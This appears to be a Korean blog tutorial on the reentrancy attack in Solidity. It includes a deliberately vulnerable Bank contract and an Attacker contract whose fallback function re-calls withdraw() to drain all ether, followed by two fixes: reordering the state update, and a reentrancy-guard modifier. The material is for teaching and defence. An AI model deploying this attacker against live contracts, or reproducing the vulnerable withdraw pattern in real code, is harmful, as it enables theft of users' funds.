재진입 공격은 컨트랙트의 함수가 실행되는 도중에 다시한번 함수를 호출하는 공격중 하나이다.
어떻게 공격하는지에 대해 알아보면, 아래의 그림과 같다.
Bank A 컨트랙트에 예치된 이더가 있다. 본인 소유의 이더만을 출금할 수 있다.
Attacker B 컨트랙트는 A 컨트랙트를 인스턴스화 하여 withdraw() 함수를 호출한다.
출금이 되면서, fallback 함수인 receive() 가 호출된다.
함수의 실행이 완전히 종료되지 않은 상태에서 다시 receive() 함수 내부의 withdraw() 함수가 실행된다.
위의 2,3 이 무한반복되고, A 컨트랙트에 남은 이더가 없으면 실행이 완전히 종료된다. B 는 A 컨트랙트의 모든 이더를 탈취한다.
컨트랙트 코드는 아래와 같다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Bank {
mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint currentBalance = balances[msg.sender];
(bool result,) = msg.sender.call{value:currentBalance}("");
require(result, "failed to withdraw.");
balances[msg.sender] = 0;
}
function chekcBalance() external view returns(uint) {
return address(this).balance;
}
}
contract Attacker {
Bank public bank;
address public owner;
constructor(address _bank, address _owner) {
bank = Bank(_bank);
owner = _owner;
}
receive() payable external {
if(address(msg.sender).balance>0) {
bank.withdraw();
}
}
function sendEther() external payable {
bank.deposit{value:msg.value}();
}
function withdrawEther() external {
bank.withdraw();
}
function checkBalance() external view returns(uint) {
return address(this).balance;
}
}
withdraw 함수에는 현재 balance 를 모두 출금한 후, balances 상태변수를 변경하고 있다.
이렇게 코드를 작성한다면, 두번째 줄의 코드가 실행 => fallback 함수 실행 => 두번째 줄의 코드가 실행 => ... 무한반복되며 balances 상태변수가 0으로 바뀌지 않아 모든 이더를 탈취당한다.
첫 번째는 상태변수를 이용하는 방법이다.
상태변수가 바뀌기 전 출금이 진행되기에 재진입 공격이 유효하다.
function withdraw() external {
uint currentBalance = balances[msg.sender];
(bool result,) = msg.sender.call{value:currentBalance}("");
require(result, "failed to withdraw.");
balances[msg.sender] = 0;
}
하지만, 출금 전 balances 상태변수를 변경하도록 수정한다면 쉽게 막을 수 있다.
function withdraw() external {
uint currentBalance = balances[msg.sender];
// 출금을 실행하는 코드보다 먼저 상태변수를 변경시켜 재진입을 막는다.
balances[msg.sender] = 0;
(bool result,) = msg.sender.call{value:currentBalance}("");
require(result, "failed to withdraw.");
}
두 번째는 modifier 를 이용하는 방법이다.
함수가 두번이상 호출되어 실행될 수 없도록 막아준다.
// modifier 설정으로 재진입을 막는다.
bool public check_reentry;
modifier check_reenterancy() {
require(!check_reentry,"stop!");
check_reentry = true;
_;
check_reentry = false;
}
이렇게 modifier 를 설정하고 함수에 적용시켜둔다면 check_reentry 부분을 통과하지 못하고 공격은 실패하게 된다.
주로 서비스 중인 디파이 앱에 대한 공격이 많다.
현재 DEX 사용량 1위인 유니스왑도 공격을 당한 바 있고,
그 외에도 풀, 대출 플랫폼들이 공격을 당해 많은 피해가 있다.
중요한 것은 상태변수, fallback
..
두개와 관련된 코드만 잘 생각하고 작성해도 피해를 막을 수 있을 것 같다.